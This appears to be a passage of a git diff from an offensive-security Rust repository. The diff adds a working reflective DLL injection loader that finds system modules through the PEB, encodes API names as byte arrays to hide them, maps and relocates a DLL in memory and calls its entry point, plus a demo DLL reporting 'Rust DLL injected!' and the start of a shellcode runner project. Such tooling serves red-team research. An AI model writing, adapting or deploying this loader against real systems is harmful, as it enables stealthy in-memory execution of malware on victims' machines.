(*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let export_directory = rva_to_file_offset_pointer(module_base as usize, + (*nt_header).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize].VirtualAddress as u32) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfNames) as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfFunctions) as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + rva_to_file_offset_pointer(module_base as usize, (*export_directory).AddressOfNameOrdinals) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + //log::info!("[+] Module Base: {:?} Export Directory: {:?} AddressOfNames: {names:p}, AddressOfFunctions: {functions:p}, AddressOfNameOrdinals: {ordinals:p} ", module_base, export_directory); + for i in 0..(*export_directory).NumberOfNames { + + let name = rva_to_file_offset_pointer(module_base as usize, names[i as usize]) as *const i8; + + if let Ok(name) = CStr::from_ptr(name).to_str() { + + let ordinal = ordinals[i as usize] as usize; + + exports.insert( + name.to_string(), + rva_to_file_offset_pointer(module_base as usize, functions[ordinal]) + ); + } + } + exports +} + +unsafe fn rva_to_file_offset_pointer(module_base: usize, mut rva: u32) -> usize { + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + #[cfg(target_arch = "x86")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let ref_nt_headers = &*nt_headers; + + let section_header = ((&ref_nt_headers.OptionalHeader as *const _ as usize) + + (ref_nt_headers.FileHeader.SizeOfOptionalHeader as usize)) as *mut IMAGE_SECTION_HEADER; + + let number_of_sections = (*nt_headers).FileHeader.NumberOfSections; + + for i in 0..number_of_sections as usize { + let virt_address = (*section_header.add(i)).VirtualAddress; + let virt_size = (*section_header.add(i)).Misc.VirtualSize; + + if virt_address <= rva && virt_address + virt_size > rva { + rva -= (*section_header.add(i)).VirtualAddress; + rva += (*section_header.add(i)).PointerToRawData; + + return module_base + rva as usize; + } + } + return 0; +} + +#[allow(dead_code)] +/// Gets user input from the terminal +fn get_input() -> std::io::Result<()> { + let mut buf = String::new(); + std::io::stdin().read_line(&mut buf)?; + Ok(()) +} + +#[allow(dead_code)] +/// Used for debugging +pub fn pause() { + match get_input() { + Ok(buffer) => println!("{:?}", buffer), + Err(error) => println!("error: {}", error), + }; +} \ No newline at end of file diff --git a/memN0ps/arsenal-rs/rdi-rs/reflective_loader/.gitignore b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/.gitignore @@ -0,0 +1 @@ +/target diff --git a/memN0ps/arsenal-rs/rdi-rs/reflective_loader/Cargo.toml b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/Cargo.toml new file mode 100644 index 0000000..c73e69a --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/Cargo.toml @@ -0,0 +1,28 @@ +[package] +name = "reflective_loader" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[profile.release] +strip = true # Automatically strip symbols from the binary. +opt-level = "z" # Optimize for size. +lto = true +codegen-units = 1 +panic = "abort" + +[lib] +crate-type = ["cdylib"] + +[dependencies] +winapi = { version = "0.3.9", features = ["processthreadsapi", "memoryapi", "winbase", "impl-default", "errhandlingapi", "handleapi", "winuser", "heapapi", "impl-default"] } +ntapi = "0.3.7" +wchar = "0.11.0" +log = "0.4.17" +env_logger = "0.9.0" +obfstr = "0.3.0" +utf16_literal = "0.2.1" + +[dependencies.num-traits] +version = "0.2.15" +default-features = false \ No newline at end of file diff --git a/memN0ps/arsenal-rs/rdi-rs/reflective_loader/src/lib.rs b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/src/lib.rs new file mode 100644 index 0000000..a4e0691 --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/src/lib.rs @@ -0,0 +1,29 @@ +mod loader; + +use winapi::shared::minwindef::{BOOL, DWORD, HINSTANCE, LPVOID, TRUE}; +use winapi::um::memoryapi::VirtualFree; +use winapi::um::winnt::{DLL_PROCESS_ATTACH, MEM_RELEASE}; +use winapi::um::winuser::MessageBoxA; + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain( + _module: HINSTANCE, + call_reason: DWORD, + _reserved: LPVOID, +) -> BOOL { + if call_reason == DLL_PROCESS_ATTACH { + // Cleanup RWX region (thread) + VirtualFree(_reserved, 0, MEM_RELEASE); + MessageBoxA( + 0 as _, + "Rust DLL injected!\0".as_ptr() as _, + "Rust DLL\0".as_ptr() as _, + 0x0, + ); + + TRUE + } else { + TRUE + } +} \ No newline at end of file diff --git a/memN0ps/arsenal-rs/rdi-rs/reflective_loader/src/loader.rs b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/src/loader.rs new file mode 100644 index 0000000..1f3a37f --- /dev/null +++ b/memN0ps/arsenal-rs/rdi-rs/reflective_loader/src/loader.rs @@ -0,0 +1,578 @@ +use std::{arch::asm, mem::size_of}; + +use winapi::{um::{winnt::{PIMAGE_DOS_HEADER, IMAGE_DIRECTORY_ENTRY_EXPORT, PIMAGE_EXPORT_DIRECTORY, PIMAGE_SECTION_HEADER, IMAGE_DIRECTORY_ENTRY_IMPORT, PIMAGE_IMPORT_DESCRIPTOR, PIMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, PIMAGE_BASE_RELOCATION, IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_BASE_RELOCATION, IMAGE_REL_BASED_DIR64, MEM_RESERVE, MEM_COMMIT, DLL_PROCESS_ATTACH, IMAGE_REL_BASED_HIGHLOW, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, IMAGE_SCN_MEM_WRITE, PAGE_WRITECOPY, PAGE_READONLY, PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY, PAGE_EXECUTE_READ, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_EXECUTE}}, shared::{minwindef::{HMODULE, FARPROC, LPVOID, DWORD, HINSTANCE, BOOL, PDWORD}, ntdef::{LPCSTR, HANDLE, PVOID, NTSTATUS}, basetsd::SIZE_T}, ctypes::c_void}; +use ntapi::{ntpebteb::PTEB, ntldr::{PLDR_DATA_TABLE_ENTRY}, ntpsapi::PEB_LDR_DATA}; + +#[cfg(target_arch = "x86")] +use winapi::{um::winnt::{PIMAGE_NT_HEADERS32, PIMAGE_THUNK_DATA32, IMAGE_SNAP_BY_ORDINAL32, IMAGE_ORDINAL32}}; + +#[cfg(target_arch = "x86_64")] +use winapi::{um::winnt::{PIMAGE_NT_HEADERS64, PIMAGE_THUNK_DATA64, IMAGE_SNAP_BY_ORDINAL64, IMAGE_ORDINAL64}}; + + +#[allow(non_camel_case_types)] +type fnLoadLibraryA = unsafe extern "system" fn(lpFileName: LPCSTR) -> HMODULE; + +#[allow(non_camel_case_types)] +type fnGetProcAddress = unsafe extern "system" fn( + hModule: HMODULE, + lpProcName: LPCSTR +) -> FARPROC; + +#[allow(non_camel_case_types)] +type fnNtFlushInstructionCache = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: PVOID, + Length: SIZE_T +) -> NTSTATUS; + + +#[allow(non_camel_case_types)] +type fnVirtualAlloc = unsafe extern "system" fn( + lpAddress: LPVOID, + dwSize: SIZE_T, + flAllocationType: DWORD, + flProtect: DWORD +) -> LPVOID; + +#[allow(non_camel_case_types)] +type fnVirtualProtect = unsafe extern "system" fn( + lpAddress: LPVOID, + dwSize: SIZE_T, + flNewProtect: DWORD, + lpflOldProtect: PDWORD +) -> BOOL; + +#[allow(non_camel_case_types)] +type fnDllMain = unsafe extern "system" fn( + module: HINSTANCE, + call_reason: DWORD, + reserved: LPVOID, +) -> BOOL; + +// Function pointers (Thanks B3NNY) +static mut LOAD_LIBRARY_A: Option = None; +static mut GET_PROC_ADDRESS: Option = None; +static mut VIRTUAL_ALLOC: Option = None; +static mut VIRTUAL_PROTECT: Option = None; +static mut NT_FLUSH_INSTRUCTION_CACHE: Option = None; + +/// Performs a Reflective DLL Injection +#[no_mangle] +pub extern "system" fn memn0ps_loader(dll_bytes: *mut c_void) { + + let module_base = dll_bytes as usize; + + if module_base == 0 { + return; + } + + let dos_header = module_base as PIMAGE_DOS_HEADER; + //log::info!("[+] IMAGE_DOS_HEADER: {:?}", dos_header); + + #[cfg(target_arch = "x86")] + let nt_headers = unsafe { (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS32 }; + #[cfg(target_arch = "x86_64")] + let nt_headers = unsafe { (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64 }; + //log::info!("[+] IMAGE_NT_HEADERS: {:?}", nt_headers); + + // 1) Load required modules and exports by name: LOAD_LIBRARY_A, GET_PROC_ADDRESS, VIRTUAL_ALLOC, VIRTUAL_PROTECT, NT_FLUSH_INSTRUCTION_CACHE + if !set_exported_functions_by_name() { + return; + } + + // 2) Allocate memory and copy sections into the newly allocated memory + + //log::info!("[+] Copying Sections"); + let new_module_base = unsafe { copy_sections_to_local_process(module_base) }; + //log::info!("[+] New Module Base: {:?}", new_module_base); + + if new_module_base.is_null() { + return; + } + + //unsafe { copy_headers(module_base as _, new_module_base) }; + + + // 3) Process images relocations + + //log::info!("[+] Rebasing Image"); + unsafe { rebase_image(module_base as _, new_module_base) }; + + // 4) Process image import table + //log::info!("[+] Resolving Imports"); + unsafe { resolve_imports(module_base as _, new_module_base) }; + + + // 5) Set protection for each section + let section_header = unsafe { + (&(*nt_headers).OptionalHeader as *const _ as usize + (*nt_headers).FileHeader.SizeOfOptionalHeader as usize) as PIMAGE_SECTION_HEADER + }; + + for i in unsafe { 0..(*nt_headers).FileHeader.NumberOfSections } { + let mut _protection = 0; + let mut _old_protection = 0; + // get a reference to the current _IMAGE_SECTION_HEADER + let section_header_i = unsafe { &*(section_header.add(i as usize)) }; + + // get the pointer to current section header's virtual address + let destination = unsafe { new_module_base.cast::().add(section_header_i.VirtualAddress as usize) }; + + // get the size of the current section header's data + let size = section_header_i.SizeOfRawData as usize; + + if section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 { + _protection = PAGE_WRITECOPY; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 { + _protection = PAGE_READONLY; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 && section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 { + _protection = PAGE_READWRITE; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 { + _protection = PAGE_EXECUTE; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 && section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 { + _protection = PAGE_EXECUTE_WRITECOPY; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 && section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 { + _protection = PAGE_EXECUTE_READ; + } + + if section_header_i.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 && section_header_i.Characteristics & IMAGE_SCN_MEM_WRITE != 0 && section_header_i.Characteristics & IMAGE_SCN_MEM_READ != 0 { + _protection = PAGE_EXECUTE_READWRITE; + } + + + // Change memory protection for each section + unsafe { VIRTUAL_PROTECT.unwrap()(destination as _, size, _protection, &mut _old_protection) }; + } + + // 6) Execute DllMain + + let entry_point = unsafe { new_module_base as usize + (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize }; + //log::info!("[+] New Module Base {:?} + AddressOfEntryPoint {:#x} = {:#x}", new_module_base, unsafe { (*nt_headers).OptionalHeader.AddressOfEntryPoint }, entry_point); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + unsafe { NT_FLUSH_INSTRUCTION_CACHE.unwrap()(-1 as _, std::ptr::null_mut(), 0) }; + + //log::info!("[+] Calling DllMain"); + + #[allow(non_snake_case)] + let DllMain = unsafe { std::mem::transmute::<_, fnDllMain>(entry_point) }; + + unsafe { DllMain(new_module_base as _, DLL_PROCESS_ATTACH, module_base as _) }; +} + + +/// Rebase the image / perform image base relocation +#[no_mangle] +unsafe fn rebase_image(module_base: *mut c_void, new_module_base: *mut c_void) { + + let dos_header = module_base as PIMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64; + + // Calculate the difference between remote allocated memory region where the image will be loaded and preferred ImageBase (delta) + let delta = new_module_base as isize - (*nt_headers).OptionalHeader.ImageBase as isize; + //log::info!("[+] Allocated Memory: {:?} - ImageBase: {:#x} = Delta: {:#x}", new_module_base, (*nt_headers).OptionalHeader.ImageBase, delta); + + // Return early if delta is 0 + if delta == 0 { + return; + } + + // Calcuate the dos/nt headers of new_module_base + // Resolve the imports of the newly allocated memory region + + /* + let dos_header = new_module_base as PIMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = (new_module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = (new_module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64; + */ + + // Get a pointer to the first _IMAGE_BASE_RELOCATION + let mut base_relocation = (new_module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize) as PIMAGE_BASE_RELOCATION; + + //log::info!("[+] IMAGE_BASE_RELOCATION: {:?}", base_relocation); + + // Get the end of _IMAGE_BASE_RELOCATION + let base_relocation_end = base_relocation as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize; + + while (*base_relocation).VirtualAddress != 0u32 && (*base_relocation).VirtualAddress as usize <= base_relocation_end && (*base_relocation).SizeOfBlock != 0u32 { + + // Get the VirtualAddress, SizeOfBlock and entries count of the current _IMAGE_BASE_RELOCATION block + let address = (new_module_base as usize + (*base_relocation).VirtualAddress as usize) as isize; + let item = (base_relocation as usize + std::mem::size_of::()) as *const u16; + let count = ((*base_relocation).SizeOfBlock as usize - std::mem::size_of::()) / std::mem::size_of::() as usize; + + for i in 0..count { + // Get the Type and Offset from the Block Size field of the _IMAGE_BASE_RELOCATION block + let type_field = item.offset(i as isize).read() >> 12; + let offset = item.offset(i as isize).read() & 0xFFF; + + //IMAGE_REL_BASED_DIR32 does not exist + //#define IMAGE_REL_BASED_DIR64 10 + if type_field == IMAGE_REL_BASED_DIR64 || type_field == IMAGE_REL_BASED_HIGHLOW { + // Add the delta to the value of each address where the relocation needs to be performed + *((address + offset as isize) as *mut isize) += delta; + } + } + + // Get a pointer to the next _IMAGE_BASE_RELOCATION + base_relocation = (base_relocation as usize + (*base_relocation).SizeOfBlock as usize) as PIMAGE_BASE_RELOCATION; + } +} + +/// Resolve the image imports +#[no_mangle] +unsafe fn resolve_imports(module_base: *mut c_void, new_module_base: *mut c_void) { + let dos_header = module_base as PIMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64; + + // Get a pointer to the first _IMAGE_IMPORT_DESCRIPTOR + let mut import_directory = (new_module_base as usize + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize) as PIMAGE_IMPORT_DESCRIPTOR; + + //log::info!("[+] IMAGE_IMPORT_DESCRIPTOR {:?}", import_directory); + + while (*import_directory).Name != 0x0 { + + // Get the name of the dll in the current _IMAGE_IMPORT_DESCRIPTOR + let dll_name = (new_module_base as usize + (*import_directory).Name as usize) as *const i8; + + // Load the DLL in the in the address space of the process by calling the function pointer LoadLibraryA + let dll_handle = LOAD_LIBRARY_A.unwrap()(dll_name); + + // Get a pointer to the Original Thunk or First Thunk via OriginalFirstThunk or FirstThunk + let mut original_thunk = if (new_module_base as usize + *(*import_directory).u.OriginalFirstThunk() as usize) != 0 { + #[cfg(target_arch = "x86")] + let orig_thunk = (new_module_base as usize + *(*import_directory).u.OriginalFirstThunk() as usize) as PIMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let orig_thunk = (new_module_base as usize + *(*import_directory).u.OriginalFirstThunk() as usize) as PIMAGE_THUNK_DATA64; + + orig_thunk + } else { + #[cfg(target_arch = "x86")] + let thunk = (new_module_base as usize + (*import_directory).FirstThunk as usize) as PIMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let thunk = (new_module_base as usize + (*import_directory).FirstThunk as usize) as PIMAGE_THUNK_DATA64; + + thunk + }; + + #[cfg(target_arch = "x86")] + let mut thunk = (new_module_base as usize + (*import_directory).FirstThunk as usize) as PIMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let mut thunk = (new_module_base as usize + (*import_directory).FirstThunk as usize) as PIMAGE_THUNK_DATA64; + + while *(*original_thunk).u1.Function() != 0 { + // #define IMAGE_SNAP_BY_ORDINAL64(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG64) != 0) or #define IMAGE_SNAP_BY_ORDINAL32(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG32) != 0) + #[cfg(target_arch = "x86")] + let snap_result = IMAGE_SNAP_BY_ORDINAL32(*(*original_thunk).u1.Ordinal()); + #[cfg(target_arch = "x86_64")] + let snap_result = IMAGE_SNAP_BY_ORDINAL64(*(*original_thunk).u1.Ordinal()); + + if snap_result { + //#define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff) or #define IMAGE_ORDINAL64(Ordinal) (Ordinal & 0xffff) + #[cfg(target_arch = "x86")] + let fn_ordinal = IMAGE_ORDINAL32(*(*original_thunk).u1.Ordinal()) as _; + #[cfg(target_arch = "x86_64")] + let fn_ordinal = IMAGE_ORDINAL64(*(*original_thunk).u1.Ordinal()) as _; + + // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in IMAGE_THUNK_DATA by calling function pointer GetProcAddress by ordinal + *(*thunk).u1.Function_mut() = GET_PROC_ADDRESS.unwrap()(dll_handle, fn_ordinal) as _; + } else { + // Get a pointer to _IMAGE_IMPORT_BY_NAME + let thunk_data = (new_module_base as usize + *(*original_thunk).u1.AddressOfData() as usize) as PIMAGE_IMPORT_BY_NAME; + + // Get a pointer to the function name in the IMAGE_IMPORT_BY_NAME + let fn_name = (*thunk_data).Name.as_ptr(); + // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in IMAGE_THUNK_DATA by calling function pointer GetProcAddress by name + *(*thunk).u1.Function_mut() = GET_PROC_ADDRESS.unwrap()(dll_handle, fn_name) as _; // + } + + // Increment and get a pointer to the next Thunk and Original Thunk + thunk = thunk.add(1); + original_thunk = original_thunk.add(1); + } + + // Increment and get a pointer to the next _IMAGE_IMPORT_DESCRIPTOR + import_directory = (import_directory as usize + size_of::() as usize) as _; + } +} + +/* +/// Copy headers into the target memory location +#[no_mangle] +unsafe fn copy_headers(module_base: *const u8, new_module_base: *mut c_void) { + let dos_header = module_base as PIMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64; + + for i in 0..(*nt_headers).OptionalHeader.SizeOfHeaders { + new_module_base.cast::().add(i as usize).write(module_base.add(i as usize).read()); + } + +}*/ + +// Copy sections of the dll to a memory location +#[no_mangle] +unsafe fn copy_sections_to_local_process(module_base: usize) -> *mut c_void { //Vec + + let dos_header = module_base as PIMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64; + + let image_size = (*nt_headers).OptionalHeader.SizeOfImage as usize; + let preferred_image_base_rva = (*nt_headers).OptionalHeader.ImageBase as *mut c_void; + + // Changed PAGE_EXECUTE_READWRITE to PAGE_READWRITE (This will require extra effort to set protection manually for each section shown in step 5 + let mut new_module_base = VIRTUAL_ALLOC.unwrap()(preferred_image_base_rva, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + //log::info!("[+] New Module Base: {:?}", new_module_base); + + if new_module_base.is_null() { + new_module_base = VIRTUAL_ALLOC.unwrap()(std::ptr::null_mut(), image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + } + + // get a pointer to the _IMAGE_SECTION_HEADER + let section_header = (&(*nt_headers).OptionalHeader as *const _ as usize + (*nt_headers).FileHeader.SizeOfOptionalHeader as usize) as PIMAGE_SECTION_HEADER; + + //log::info!("[+] IMAGE_SECTION_HEADER {:?}", section_header); + + for i in 0..(*nt_headers).FileHeader.NumberOfSections { + // get a reference to the current _IMAGE_SECTION_HEADER + let section_header_i = &*(section_header.add(i as usize)); + + // get the pointer to current section header's virtual address + //let destination = image.as_mut_ptr().add(section_header_i.VirtualAddress as usize); + let destination = new_module_base.cast::().add(section_header_i.VirtualAddress as usize); + //log::info!("[+] destination: {:?}", de stination); + + // get a pointer to the current section header's data + let source = module_base as usize + section_header_i.PointerToRawData as usize; + //log::info!("[+] source: {:#x}", source); + + // get the size of the current section header's data + let size = section_header_i.SizeOfRawData as usize; + //log::info!("Size: {:?}", size); + + // copy section headers into the local process (allocated memory) + /* + std::ptr::copy_nonoverlapping( + source as *const std::os::raw::c_void, // this causes problems if it is winapi::ctypes::c_void but ffi works for ffi + destination as *mut _, + size, + )*/ + + let source_data = core::slice::from_raw_parts(source as *const u8, size); + + for x in 0..size { + let src_data = source_data[x]; + let dest_data = destination.add(x); + *dest_data = src_data; + } + + } + + new_module_base +} + +#[no_mangle] +fn get_peb_ldr() -> usize { + let teb: PTEB; + unsafe { + #[cfg(target_arch = "x86")] + asm!("mov {teb}, fs:[0x18]", teb = out(reg) teb); + + #[cfg(target_arch = "x86_64")] + asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); + } + + let teb = unsafe { &mut *teb }; + let peb = unsafe { &mut *teb.ProcessEnvironmentBlock }; + let peb_ldr = peb.Ldr; + + peb_ldr as _ +} + +/// Gets the modules and module exports by name and saves their addresses +#[no_mangle] +pub fn set_exported_functions_by_name() -> bool { + + /* + let ntdll = "ntdll.dll\0"; + let ntdll_bytes = ntdll.as_bytes(); + println!("{:?}", ntdll_bytes.len()); + println!("{:?}", ntdll_bytes); + */ + let kernel32_bytes: [u16; 13] = [75, 69, 82, 78, 69, 76, 51, 50, 46, 68, 76, 76, 0]; + let ntdll_bytes: [u16; 10] = [110, 116, 100, 108, 108, 46, 100, 108, 108, 0]; + + let load_librarya_bytes: [i8; 13] = [76, 111, 97, 100, 76, 105, 98, 114, 97, 114, 121, 65, 0]; + let get_proc_address_bytes: [i8; 15] = [71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0]; + let virtual_alloc_bytes: [i8; 13] = [86, 105, 114, 116, 117, 97, 108, 65, 108, 108, 111, 99, 0]; + let virtual_protect_bytes: [i8; 15] = [86, 105, 114, 116, 117, 97, 108, 80, 114, 111, 116, 101, 99, 116, 0]; + let nt_flush_instruction_cache_bytes: [i8; 24] = [78, 116, 70, 108, 117, 115, 104, 73, 110, 115, 116, 114, 117, 99, 116, 105, 111, 110, 67, 97, 99, 104, 101, 0]; + + // get kernel32 base address via name + let kernel32_base = unsafe { get_loaded_modules_by_name(kernel32_bytes.as_ptr()) }; + //log::info!("[+] KERNEL32: {:?}", kernel32_base); + + // get ntdll base address via name + let ntdll_base = unsafe { get_loaded_modules_by_name(ntdll_bytes.as_ptr()) }; + //log::info!("[+] NTDLL: {:?}", ntdll_base); + + if ntdll_base.is_null() || kernel32_base.is_null() { + return false; + } + + // get exports by name and store the their virtual address + //kernel32 + let loadlibrarya_address = unsafe { get_module_exports(kernel32_base, load_librarya_bytes.as_ptr()) }; + unsafe { LOAD_LIBRARY_A = Some(std::mem::transmute::<_, fnLoadLibraryA>(loadlibrarya_address)) }; + //log::info!("[+] LoadLibraryA {:?}", loadlibrarya_address); + + let getprocaddress_address = unsafe { get_module_exports(kernel32_base, get_proc_address_bytes.as_ptr()) }; + unsafe { GET_PROC_ADDRESS = Some(std::mem::transmute::<_, fnGetProcAddress>(getprocaddress_address)) }; + //log::info!("[+] GetProcAddress {:?}", getprocaddress_address); + + let virtualalloc_address = unsafe { get_module_exports(kernel32_base, virtual_alloc_bytes.as_ptr()) }; + unsafe { VIRTUAL_ALLOC = Some(std::mem::transmute::<_, fnVirtualAlloc>(virtualalloc_address)) }; + //log::info!("[+] VirtualAlloc {:?}", virtualalloc_address); + + let virtualprotect_address = unsafe { get_module_exports(kernel32_base, virtual_protect_bytes.as_ptr()) }; + unsafe { VIRTUAL_PROTECT = Some(std::mem::transmute::<_, fnVirtualProtect>(virtualprotect_address)) }; + //log::info!("[+] VirtualProtect {:?}", virtualprotect_address); + + //ntdll + let ntflushinstructioncache_address = unsafe { get_module_exports(ntdll_base, nt_flush_instruction_cache_bytes.as_ptr()) }; + unsafe { NT_FLUSH_INSTRUCTION_CACHE = Some(std::mem::transmute::<_, fnNtFlushInstructionCache>(ntflushinstructioncache_address)) }; + //log::info!("[+] NtFlushInstructionCache {:?}", ntflushinstructioncache_address); + + if loadlibrarya_address == 0 || getprocaddress_address == 0 || virtualalloc_address == 0 || virtualprotect_address == 0 || ntflushinstructioncache_address == 0 { + return false; + } + + return true; +} + +/// Gets loaded modules by name +#[no_mangle] +pub unsafe fn get_loaded_modules_by_name(module_name: *const u16) -> *mut u8 { + let peb_ptr_ldr_data = get_peb_ldr() as *mut PEB_LDR_DATA; + //log::info!("[+] PEB_LDR_DATA {:?}", peb_ptr_ldr_data); + + let mut module_list = (*peb_ptr_ldr_data).InLoadOrderModuleList.Flink as PLDR_DATA_TABLE_ENTRY; + + while !(*module_list).DllBase.is_null() { + + let dll_name = (*module_list).BaseDllName.Buffer; + + if compare_raw_str(module_name, dll_name) { + return (*module_list).DllBase as _; + } + + module_list = (*module_list).InLoadOrderLinks.Flink as PLDR_DATA_TABLE_ENTRY; + } + + return std::ptr::null_mut(); +} + +//Thanks 2vg +use num_traits::Num; +pub fn compare_raw_str(s: *const T, u: *const T) -> bool +where + T: Num, +{ + unsafe { + let u_len = (0..).take_while(|&i| !(*u.offset(i)).is_zero()).count(); + let u_slice = core::slice::from_raw_parts(u, u_len); + + let s_len = (0..).take_while(|&i| !(*s.offset(i)).is_zero()).count(); + let s_slice = core::slice::from_raw_parts(s, s_len); + + if s_len != u_len { + return false; + } + for i in 0..s_len { + if s_slice[i] != u_slice[i] { + return false; + } + } + return true; + } +} + +/// Retrieves all function and addresses from the specfied modules +#[no_mangle] +unsafe fn get_module_exports(module_base: *mut u8, module_name: *const i8) -> usize { + + let dos_header = module_base as PIMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS32; + + #[cfg(target_arch = "x86_64")] + let nt_header = (module_base as usize + (*dos_header).e_lfanew as usize) as PIMAGE_NT_HEADERS64; + + let export_directory = (module_base as usize + + (*nt_header).OptionalHeader.DataDirectory + [IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) + as PIMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) + as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) + as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) + as *const u16, + (*export_directory).NumberOfNames as _, + ); + + //log::info!("[+] Module Base: {:?} Export Directory: {:?} AddressOfNames: {names:p}, AddressOfFunctions: {functions:p}, AddressOfNameOrdinals: {ordinals:p} ", module_base, export_directory); + + for i in 0..(*export_directory).NumberOfNames { + + let name = (module_base as usize + names[i as usize] as usize) as *const i8; + + if compare_raw_str(module_name, name as _) { + let ordinal = ordinals[i as usize] as usize; + return module_base as usize + functions[ordinal] as usize; + } + } + return 0; +} \ No newline at end of file diff --git a/memN0ps/arsenal-rs/shellcode_runner_classic-rs/.gitattributes b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/memN0ps/arsenal-rs/shellcode_runner_classic-rs/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git 